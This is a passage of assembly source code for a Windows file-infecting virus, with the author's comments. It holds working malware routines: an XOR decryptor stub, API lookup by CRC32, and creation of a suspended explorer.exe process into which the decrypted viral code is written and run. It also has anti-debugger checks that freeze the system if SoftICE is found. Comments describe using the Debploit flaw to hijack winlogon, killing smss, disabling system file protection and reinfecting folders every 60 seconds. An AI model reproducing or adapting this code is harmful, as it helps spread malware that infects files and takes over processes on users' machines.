callz CRC32
|
||
;eax = CRC of file name
|
||
cmp eax,mircCRC
|
||
je retPerProcess
|
||
cmp eax,explorerCRC
|
||
je retNoInfect
|
||
|
||
xor eax,eax
|
||
ret
|
||
|
||
retPerProcess:
|
||
xor eax,eax
|
||
inc eax
|
||
ret
|
||
|
||
retNoInfect:
|
||
xor eax,eax
|
||
dec eax
|
||
ret
|
||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||
|
||
|
||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||
Pad:
|
||
PADDING equ 4 -(((Pad - SCode) - (4*((Pad - SCode)/4))))
|
||
db PADDING dup (0)
|
||
;code size its a multiple of 4 becoz encryption reasons.
|
||
|
||
|
||
ECode:
|
||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||
|
||
|
||
|
||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||
|
||
MyEntryPoint:
|
||
|
||
;HERE EXECUTION BEGINS!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
|
||
|
||
;vvvvvvvvvvvvvvvvvvpolymorphed
|
||
callz DkRyPtIt
|
||
DkRyPtIt:
|
||
pop esi
|
||
add esi,Encrypted - DkRyPtIt
|
||
mov ecx,((EVirus - Encrypted)/4)
|
||
GoGoGo:
|
||
xor dword ptr [esi + ecx*4 - 4],12345678h
|
||
dec ecx
|
||
or ecx,ecx
|
||
jnz GoGoGo
|
||
endDKR:
|
||
PADDKR equ 200 - (endDKR - MyEntryPoint)
|
||
db PADDKR dup (90h) ;dekryptor has always 200 bytes :'(
|
||
;^^^^^^^^^^^^^^^^^^polymorphed
|
||
|
||
Encrypted:
|
||
|
||
call d_offset
|
||
d_offset:
|
||
pop ebp
|
||
sub ebp,offset d_offset
|
||
pop eax
|
||
push eax
|
||
xor ax,ax
|
||
add eax,1000h
|
||
;eax -> a part of kernel32
|
||
SearchKernel:
|
||
sub eax,1000h
|
||
cmp word ptr [eax],'ZM'
|
||
jne SearchKernel
|
||
|
||
|
||
;callz DetectSICE
|
||
|
||
push eax
|
||
callz InjectToExplorer ;ill run other part of code in explorer.exe
|
||
pop eax
|
||
|
||
pushad
|
||
mov ebx,dword ptr [ebp + SCode]
|
||
cmp ebx,000000E8h
|
||
jne NoHook
|
||
;if part of explorer injected code its uncrypted before copying it to explorer then
|
||
;we can hook CreateFileA api ;)
|
||
callz HookCreateFileA
|
||
NoHook:
|
||
popad
|
||
|
||
pushad
|
||
callz NTInvasion ;/
|
||
popad
|
||
|
||
EndFirstPart:
|
||
|
||
cmp dword ptr [ebp + OldEntryPoint],0
|
||
je endit
|
||
|
||
;here we restore EPO bytes and jmp there
|
||
|
||
push eax
|
||
GezApi eax,GetModuleHandleACRC,GMHNameLen
|
||
push 0
|
||
call eax
|
||
mov ebx,eax
|
||
pop eax
|
||
mov esi,[ebp + OldEntryPoint]
|
||
|
||
|
||
add esi,ebx
|
||
push esi
|
||
mov ecx,EPOCodeSize
|
||
xor ebx,ebx
|
||
callz UnprotectMem
|
||
pop esi
|
||
mov edi,esi
|
||
push esi
|
||
lea esi,[ebp + EPORestoreBytes]
|
||
mov ecx,EPOCodeSize
|
||
rep movsb
|
||
pop esi
|
||
jmp esi
|
||
endit: ;only first gen...in second we return to host
|
||
push 0
|
||
call ExitProcess
|
||
|
||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||
|
||
OldEntryPoint dd 0
|
||
EPORestoreBytes db EPOCodeSize dup(0)
|
||
|
||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||
;
|
||
;Loads and injects to explorer the viral code and execute it.
|
||
;in:
|
||
; eax = Base Kernel
|
||
;out:
|
||
; none
|
||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||
|
||
InjectToExplorer:;only in 9x
|
||
mov ecx,cs
|
||
xor cl,cl
|
||
or ecx,ecx
|
||
jne ContinueInjecting
|
||
ret
|
||
ContinueInjecting:
|
||
push eax;we save kernel base
|
||
;now ill create a new process but stopped...createprocess has a option
|
||
;to create the process stopped and you can to force it to continue later.So ill
|
||
;create this new process and after ill infect in memory it with this code but
|
||
;uncryting encrypted parts.
|
||
callz LoadExplorer9x
|
||
; eax = handle to process
|
||
; ebx = process ID
|
||
; ecx = offset of primary module(.exe module)
|
||
; edx = size of module in bytes
|
||
; esi = primary thread handle
|
||
; edi = primary thread ID
|
||
pushad
|
||
mov ebx,eax ;handle of process
|
||
mov eax,[esp + 32] ;base of kernel
|
||
mov esi,ecx ;offset of module
|
||
mov ecx,edx ;size of module
|
||
;now we unprotect new process mem
|
||
callz UnprotectMem
|
||
;esp -> threadID/+4 hThread/+16 processID/+20 sizeMod/+24 offMod/+28 hProcess/+32 KernelBase
|
||
;now i must search entry point of new process
|
||
;Readz macro BaseKernel,hProcess,OffsetInProc,Buffer,Size
|
||
mov eax,[esp + 32];BaseKernel
|
||
mov ebx,[esp + 28];hProcess
|
||
mov ecx,[esp + 24];OffsetInProc
|
||
add ecx,3ch ;for reading lfanew
|
||
push 0 ;space for reading lfanew value
|
||
mov edx,esp ;Buffer
|
||
pushad
|
||
Readz eax,ebx,ecx,edx,4
|
||
popad
|
||
pop esi ;lfanew
|
||
sub ecx,3ch
|
||
add ecx,esi ;lfanew + module
|
||
add ecx,28h ;lfanew + module + 28h for reading entryPoint
|
||
push 0 ;space for reading lfanew value
|
||
mov edx,esp ;Buffer
|
||
pushad
|
||
Readz eax,ebx,ecx,edx,4
|
||
popad
|
||
pop edi
|
||
mov ecx,[esp + 24];OffsetInProc
|
||
add edi,ecx
|
||
;edi = entryPoint in module in new process
|
||
|
||
;we encrypted Code with random key since FFFF0000h to FFFFFFFFh so
|
||
;now we must search the key using brute force
|
||
xor ecx,ecx
|
||
mov edx,dword ptr [ebp + SCode]
|
||
WhatKey:
|
||
xor edx,ecx
|
||
cmp edx,000000E8h
|
||
je KeyFound
|
||
xor edx,ecx
|
||
loop WhatKey
|
||
KeyFound:
|
||
mov edx,ecx
|
||
;edx = key
|
||
lea esi,[ebp + SCode]
|
||
mov ecx,((ECode - SCode)/4)
|
||
|
||
;and now we will write the code to new process uncrypting it while
|
||
|
||
WriteCode:
|
||
pushad
|
||
push dword ptr [esi]
|
||
xor dword ptr [esp],edx
|
||
mov esi,esp
|
||
Writez eax,ebx,edi,esi,4
|
||
pop esi
|
||
popad
|
||
add esi,4
|
||
add edi,4
|
||
loop WriteCode
|
||
sub esi,ebp
|
||
cmp esi,offset EVirus
|
||
je CodeCopied
|
||
add esi,ebp
|
||
mov ecx,((EVirus - ECode)/4)
|
||
xor edx,edx
|
||
jmpz WriteCode
|
||
|
||
CodeCopied:
|
||
|
||
;here we must have copied all code and now we must start execution of thread
|
||
;esp -> threadID/+4 hThread/+16 processID/+20 sizeMod/+24 offMod/+28 hProcess/+32 KernelBase
|
||
|
||
mov eax,[esp + 32]
|
||
GezApi eax,ResumeThreadCRC,RTNameLen
|
||
;eax -> ResumeThread
|
||
push dword ptr [esp + 4];Thread Handle
|
||
call eax
|
||
|
||
|
||
add esp,32
|
||
pop eax
|
||
|
||
ret
|
||
|
||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||
|
||
|
||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||
;
|
||
;UnprotectMem sets as writable zone since esi to esi + ecx in ebx process.
|
||
;in:
|
||
; eax -> base of kernel
|
||
; esi -> dir of memory that will be writable.
|
||
; ecx -> bytes of that memory.
|
||
; ebx -> handle of the process where is the memory.If 0 this process
|
||
;
|
||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||
UnprotectMem:
|
||
|
||
or ebx,ebx
|
||
jne NoThisProcess
|
||
push eax
|
||
push esi
|
||
push ecx
|
||
GezApi eax,GetCurrentProcessCRC,GCPNameLen
|
||
;eax -> GetCurrentProcess
|
||
call eax
|
||
;eax = hand of this process
|
||
mov ebx,eax
|
||
pop ecx
|
||
pop esi
|
||
pop eax
|
||
NoThisProcess:
|
||
push ebx
|
||
push esi
|
||
push ecx
|
||
GezApi eax,VirtualProtectExCRC,VPNameLen
|
||
;eax -> VirtualProtectEx
|
||
pop ecx
|
||
pop esi
|
||
pop ebx
|
||
;ebx = hand of process
|
||
;esi = dir
|
||
;ecx = nbytes
|
||
push eax ;space for receiving lpflOldProtect out parameter
|
||
push esp
|
||
push PAGE_EXECUTE_READWRITE
|
||
push ecx
|
||
push esi
|
||
push ebx
|
||
call eax
|
||
pop eax ;we remove space that we reserve in the stack for out parameter
|
||
ret
|
||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||
|
||
|
||
|
||
|
||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||
;
|
||
;CRC32 rutine(from Billy Belcebu tutorial)...i have not said him nothing about i have take
|
||
;his rutine but i dont know him...in addition i have seen this rutine in other viruses
|
||
;so i think he doesnt go angry if i use it :)
|
||
;
|
||
;in:esi -> start of buffer
|
||
; edi = size of buffer
|
||
;out:
|
||
; eax = cksum
|
||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||
CRC32:
|
||
cld
|
||
xor ecx,ecx
|
||
dec ecx
|
||
mov edx,ecx
|
||
NextByteCRC:
|
||
xor eax,eax
|
||
xor ebx,ebx
|
||
lodsb
|
||
xor al,cl
|
||
mov cl,ch
|
||
mov ch,dl
|
||
mov dl,dh
|
||
mov dh,8
|
||
NextBitCRC:
|
||
shr bx,1
|
||
rcr ax,1
|
||
jnc NoCRC
|
||
xor ax,08320h
|
||
xor bx,0EDB8h
|
||
NoCRC:
|
||
dec dh
|
||
jnz NextBitCRC
|
||
xor ecx,eax
|
||
xor edx,ebx
|
||
dec edi
|
||
jnz NextByteCRC
|
||
not edx
|
||
not ecx
|
||
mov eax,edx
|
||
rol eax,16
|
||
mov ax,cx
|
||
ret
|
||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||
|
||
|
||
|
||
|
||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||
;
|
||
;GetApi gets a api address from its crc.
|
||
;in:
|
||
; eax -> base of dll
|
||
; edx = the crc32 of api to search.
|
||
; ebx = api name len.
|
||
;out:
|
||
; eax -> function
|
||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||
GetApi:
|
||
;eax -> base of dll
|
||
;ebx = len api name
|
||
;edx = crc of api name
|
||
push ebx ecx edx esi edi
|
||
push eax
|
||
mov eax,[eax + 3ch]
|
||
add eax,dword ptr [esp]
|
||
;eax -> PE
|
||
mov eax,[eax + 78h]
|
||
add eax,dword ptr [esp]
|
||
;eax -> Export table
|
||
push eax
|
||
push ebx
|
||
mov ebx,[eax + 20h]
|
||
add ebx,dword ptr [esp + 8]
|
||
;ebx -> Name of functions
|
||
push ebx
|
||
sub ebx,4
|
||
SearchApiByCRC:
|
||
add ebx,4
|
||
mov esi,[ebx]
|
||
add esi,dword ptr [esp + 12]
|
||
CalcLenString
|
||
;ecx = length api.name
|
||
mov edi,[esp + 4]
|
||
cmp edi,ecx
|
||
jne SearchApiByCRC
|
||
mov edi,ecx
|
||
push ebx
|
||
push edx
|
||
callz CRC32
|
||
pop edx
|
||
pop ebx
|
||
cmp eax,edx
|
||
jne SearchApiByCRC
|
||
pop edi
|
||
;edi -> name of functions
|
||
;ebx -> name of functions + (index of our api * 4)
|
||
sub ebx,edi
|
||
mov eax,ebx
|
||
xor edx,edx
|
||
mov ebx,4
|
||
div ebx
|
||
;eax = index of our api
|
||
pop ebx
|
||
pop ebx
|
||
;ebx -> export
|
||
mov ecx,[ebx + 24h]
|
||
add ecx,dword ptr [esp]
|
||
;ecx -> name ordinals
|
||
rol eax,1
|
||
add ecx,eax
|
||
mov ecx,[ecx]
|
||
shr ecx,10h
|
||
dec ecx
|
||
;ecx = ordinal
|
||
mov eax,[ebx + 1ch]
|
||
add eax,dword ptr [esp]
|
||
;eax -> address of functions
|
||
rol ecx,2
|
||
add eax,ecx
|
||
mov eax,[eax]
|
||
add eax,dword ptr [esp]
|
||
;eax = address of function searched
|
||
pop ebx
|
||
pop edi edi edx ecx ebx
|
||
ret
|
||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||
|
||
|
||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||
;
|
||
;LoadExplorer9x creates a new process suspended with explorer.exe in 9x
|
||
;
|
||
;I learned how to use ToolHelp32 and psapi thx to Win32.Dengue so i must say thx to GriYo :)
|
||
;I havent copied code! ... i have read it and i have learned from it :)
|
||
;
|
||
;in:
|
||
; eax = base of kernel
|
||
;out:
|
||
; eax = handle to process
|
||
; ebx = process ID
|
||
; ecx = offset of primary module(.exe module)
|
||
; edx = size of module in bytes
|
||
; esi = primary thread handle
|
||
; edi = primary thread ID
|
||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||
LoadExplorer9x:
|
||
|
||
;Note that though we create a process
|
||
;from a module from windows directory we specify to CreateProcess that
|
||
;working directory is same than calling process,this process,so we can search
|
||
;here a file to infect it.
|
||
|
||
push eax ;kernel base saved
|
||
sub esp,200
|
||
mov esi,esp
|
||
callz GetExplorer
|
||
|
||
;ecx = number of read bytes
|
||
push ecx ;we save it
|
||
mov eax,dword ptr [esp + 204];eax = base kernel
|
||
GezApi eax,CreateProcessACRC,CPNameLen
|
||
;eax -> CreateProcessA
|
||
mov ecx,(STARTUPINFOSIZE + PROCESSINFORMATIONSIZE)/4
|
||
xor edx,edx
|
||
SaveSpace9x:
|
||
push edx
|
||
loop SaveSpace9x
|
||
;esp -> Process Information structure
|
||
;esp + PROCESSINFORMATIONSIZE -> startupinfo structure
|
||
;[esp + STARTUPINFOSIZE + PROCESSINFORMATIONSIZE] = len of name of module
|
||
;esp + 4 + STARTUPINFOSIZE + PROCESSINFORMATIONSIZE -> name of module
|
||
;[esp + 204 + STARTUPINFOSIZE + PROCESSINFORMATIONSIZE] = base of kernel
|
||
mov dword ptr [esp + PROCESSINFORMATIONSIZE],64;size of startupinfo
|
||
mov edx,esp
|
||
push edx;process information
|
||
add edx,PROCESSINFORMATIONSIZE
|
||
push edx;startupinfo
|
||
push 0
|
||
push 0
|
||
push CREATE_SUSPENDED or CREATE_NEW_PROCESS_GROUP
|
||
push 0
|
||
push 0
|
||
push 0
|
||
push 0
|
||
add edx,4 + STARTUPINFOSIZE
|
||
push edx;name of module
|
||
call eax;CreateProcessA
|
||
;we have created the suspended process
|
||
;[esp] = handle to new process
|
||
;[esp + 4] = handle to primary thread(suspended)
|
||
;[esp + 8] = Id of process
|
||
;[esp + 12] = Id of thread
|
||
;now i must search the primary module of the process.
|
||
mov eax,[esp + 204 + STARTUPINFOSIZE + PROCESSINFORMATIONSIZE]
|
||
;eax = base of kernel
|
||
GezApi eax,CreateToolhelp32SnapShotCRC,CT32SNameLen
|
||
;eax -> CreateToolhelp32Snapshot
|
||
mov ebx,[esp + 8]
|
||
;ebx = handle to process
|
||
push ebx
|
||
push TH32CS_SNAPMODULE
|
||
call eax
|
||
;eax = snapshot
|
||
;we have create the snapshot and now we will search the module that we need.
|
||
sub esp,548
|
||
;we will reserve space for MODULEENTRY32
|
||
mov dword ptr[esp],548 ;sizeof MODULEENTRY32
|
||
mov ecx,eax
|
||
;ecx = snapshot
|
||
mov [esp + 548 + PROCESSINFORMATIONSIZE + SNAPSHOT],ecx;we save it
|
||
mov eax,[esp + 548 + 4 + 200 + STARTUPINFOSIZE + PROCESSINFORMATIONSIZE]
|
||
;eax = base of kernel
|
||
push eax
|
||
GezApi eax,Module32FirstCRC,M32FNameLen
|
||
mov edx,esp
|
||
add edx,4
|
||
push edx
|
||
push ecx
|
||
call eax
|
||
pop eax
|
||
GezApi eax,Module32NextCRC,M32NNameLen
|
||
;eax -> Module32Next
|
||
mov [esp + 548 + PROCESSINFORMATIONSIZE],eax ;we save it
|
||
NextModule:
|
||
;esp + 32 + 256 -> name of module with path(becoz GetModuleFileName gives entire path)
|
||
mov esi,esp
|
||
add esi,32 + 256
|
||
CalcLenString
|
||
mov edi,ecx
|
||
call CRC32
|
||
;eax = CRC of name of module we have got
|
||
push eax
|
||
mov edi,[esp + 548 + STARTUPINFOSIZE + PROCESSINFORMATIONSIZE + 4]
|
||
mov esi,esp
|
||
add esi,548 + STARTUPINFOSIZE + PROCESSINFORMATIONSIZE + 4 + 4
|
||
call CRC32
|
||
;eax = CRC of our module
|
||
pop edx
|
||
cmp edx,eax
|
||
je FoundModule
|
||
push esp
|
||
mov ecx,[esp + 548 + PROCESSINFORMATIONSIZE + 4 + SNAPSHOT];we recover snapshot
|
||
push ecx
|
||
mov eax,[esp + 548 + PROCESSINFORMATIONSIZE + 4 + 4]
|
||
;eax -> Module32Next
|
||
call eax
|
||
jmp NextModule
|
||
FoundModule:
|
||
;yeah!!!! ;)
|
||
mov eax,[esp + 548 + 4 + 200 + STARTUPINFOSIZE + PROCESSINFORMATIONSIZE];base kernel
|
||
GezApi eax,CloseHandleCRC,CHNameLen
|
||
mov ecx,[esp + 548 + PROCESSINFORMATIONSIZE + 4 + SNAPSHOT];we recover snapshot
|
||
push ecx
|
||
call eax
|
||
;snapshot closed
|
||
;now we recover information for returning parameters and ret ;)
|
||
mov ecx,[esp + 20]
|
||
mov edx,[esp + 24]
|
||
mov eax,[esp + 548]
|
||
mov esi,[esp + 548 + 4]
|
||
mov ebx,[esp + 548 + 8]
|
||
mov edi,[esp + 548 + 12]
|
||
add esp,548 + 16 + 68 + 4 + 200 + 4
|
||
ret
|
||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||
|
||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||
;
|
||
;GetExplorer
|
||
;In:
|
||
; eax = base of kernel
|
||
; esi -> buffer for storing name
|
||
;Out:
|
||
; esi ->buffer
|
||
; ecx = bytes of name
|
||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||
GetExplorer:
|
||
|
||
push esi
|
||
GezApi eax,GetWindowsDirectoryACRC,GWDNameLen
|
||
;eax -> GetWindowsDir
|
||
pop esi
|
||
push esi
|
||
push 200
|
||
push esi
|
||
call eax
|
||
pop esi
|
||
CalcLenString
|
||
mov edi,esi
|
||
add edi,ecx
|
||
mov byte ptr [edi],'\'
|
||
inc edi
|
||
mov dword ptr [edi],'LPXE'
|
||
add edi,4
|
||
mov dword ptr [edi],'RERO'
|
||
add edi,4
|
||
mov dword ptr [edi],'EXE.'
|
||
add edi,4
|
||
mov dword ptr [edi],0
|
||
CalcLenString
|
||
|
||
ret
|
||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||
|
||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||
;
|
||
;DetectSICE try to detect softice,and in the case softice was detected,then stop execution.
|
||
;in:
|
||
; eax = kernel base
|
||
;out:
|
||
; none
|
||
;
|
||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||
DetectSICE:
|
||
pushad
|
||
push eax
|
||
;check sice in 9x
|
||
push 00000000h
|
||
push 00000080h
|
||
push 00000003h
|
||
push 00000000h
|
||
push 00000001h
|
||
push 0c0000000h
|
||
lea esi,[ebp + SICE9X]
|
||
push esi
|
||
GezApi eax,CreateFileACRC,CFNameLen
|
||
call eax
|
||
inc eax
|
||
jz NoSICE9X
|
||
call $
|
||
NoSICE9X:
|
||
mov eax,[esp]
|
||
push 00000000h
|
||
push 00000080h
|
||
push 00000003h
|
||
push 00000000h
|
||
push 00000001h
|
||
push 0C0000000h
|
||
lea esi,[ebp + SICENT]
|
||
push esi
|
||
GezApi eax,CreateFileACRC,CFNameLen
|
||
call eax
|
||
inc eax
|
||
jz NoSICENT
|
||
call $
|
||
NoSICENT:
|
||
pop eax
|
||
popad
|
||
ret
|
||
SICE9X db "\\.\SICE",0
|
||
SICENT db "\\.\NTICE",0
|
||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||
|
||
|
||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||
;NT ZONE !<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!
|
||
;NT ZONE !<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!
|
||
;NT ZONE !<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!
|
||
;NT ZONE !<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!
|
||
;NT ZONE !<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!
|
||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||
;Well...now we are in NT.We will fight agresively against NT for
|
||
;getting full privileges ;/ Virus its very different if we are
|
||
;in NT.Here we dont load and dont inject code to explorer.exe.
|
||
;Here we will try to get full privileges with some methods
|
||
;and later we will infect files.
|
||
|
||
|
||
;NT part works in this manner: i try to get anough privileges to open winlogon and
|
||
;inject code there(with i WannaCanDebug).If i dont get anough,i use a second method.
|
||
;I use a flaw in NT.I havent discovered that flaw.I speaking about Debploit method.
|
||
;You can search about this in www.securiteam.com in NT focus.With this,i connect to
|
||
;dbgss and i say it that it gives me a duplicate handle to winlogon,however,it will
|
||
;give me it with full privileges :D ... There is a problem with this...If i say
|
||
;dbgss i am the debugger of winlogon,and winlogon is my debugee process(i attach
|
||
;it) when my process terminated,winlogon will finish too and system will reboot.
|
||
;For this reason,when i infect winlogon,since winlogon injected code,i kill smss
|
||
;(where is implemented dbgss) and smss will not kill winlogon.In this manner,only first
|
||
;infected file executed will inject code in winlogon becoz when second infected program
|
||
;was executed,it will not find dbgss.
|
||
;In winlogon,virus disable sfp with Ratter and Benny method(29a number 6).Later,it
|
||
;gets a handle to explorer and inject code there,and create a remote thread in
|
||
;explorer:There,ExplorerCode is executed.This code will infect current folder of
|
||
;explorer.exe each 60 seconds.
|
||
|
||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||
;
|
||
;NTInvasion try to KILL NT ;O
|
||
;in:
|
||
; eax = kernel base
|
||
;out:
|
||
; none
|
||
;
|
||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||
NTInvasion:
|
||
mov ecx,cs
|
||
xor cl,cl
|
||
jecxz ContinueNT
|
||
ret
|
||
ContinueNT:
|
||
mov [ebp + NtKernel],eax
|
||
callz GetLibrarys
|
||
|
||
callz DebuggerTrickz
|
||
|
||
callz FreeLibrarys
|
||
ret
|
||
NtKernel dd 0
|
||
NtAdvapi dd 0
|
||
NtPsapi dd 0
|
||
NtRasapi dd 0
|
||
Ntdll dd 0
|
||
;;;;;;;;;;;;;;;;;;;;
|
||
GetLibrarys:
|
||
pushad
|
||
|
||
;first,ill try to get ntdll base from PEB structure
|
||
|
||
mov eax,dword ptr fs:[30h] ;PEB pointer
|
||
mov eax,dword ptr [eax + 0ch] ;PEB_LDR_DATA
|
||
mov eax,dword ptr [eax + 1ch] ;LIST_ENTRY
|
||
mov eax,dword ptr [eax + 8h] ;ntdll.dll base
|
||
mov [ebp + Ntdll],eax
|
||
|
||
mov eax,[ebp + NtKernel]
|
||
GezApi eax,LoadLibraryACRC,LLNameLen
|
||
push eax
|
||
lea ebx,[ebp + advapi]
|
||
push ebx
|
||
call eax
|
||
mov [ebp + NtAdvapi],eax
|
||
lea ebx,[ebp + psapi]
|
||
push ebx
|
||
call dword ptr [esp + 4]
|
||
mov [ebp + NtPsapi],eax
|
||
lea ebx,[ebp + rasapi]
|
||
push ebx
|
||
call dword ptr [esp + 4]
|
||
mov [ebp + NtRasapi],eax
|
||
pop eax
|
||
popad
|
||
ret
|
||
advapi db 'advapi32.dll',0
|
||
psapi db 'psapi.dll',0
|
||
rasapi db 'rasapi32.dll',0
|
||
;;;;;;;;;;;;;;;;;;;;
|
||
FreeLibrarys:
|
||
pushad
|
||
mov eax,[ebp + NtKernel]
|
||
GezApi eax,FreeLibraryCRC,FLNameLen
|
||
push eax
|
||
push dword ptr [ebp + NtAdvapi]
|
||
call dword ptr [esp + 4]
|
||
push dword ptr [ebp + NtPsapi]
|
||
call dword ptr [esp + 4]
|
||
push dword ptr [ebp + NtRasapi]
|
||
call dword ptr [esp + 4]
|
||
pop eax
|
||
popad
|
||
ret
|
||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||
|
||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||
;DebuggerTrickz try to gain privileges.
|
||
;in:
|
||
; none
|
||
;
|
||
;out:
|
||
; eax = 1 no error eax = 0 error
|
||
;
|
||
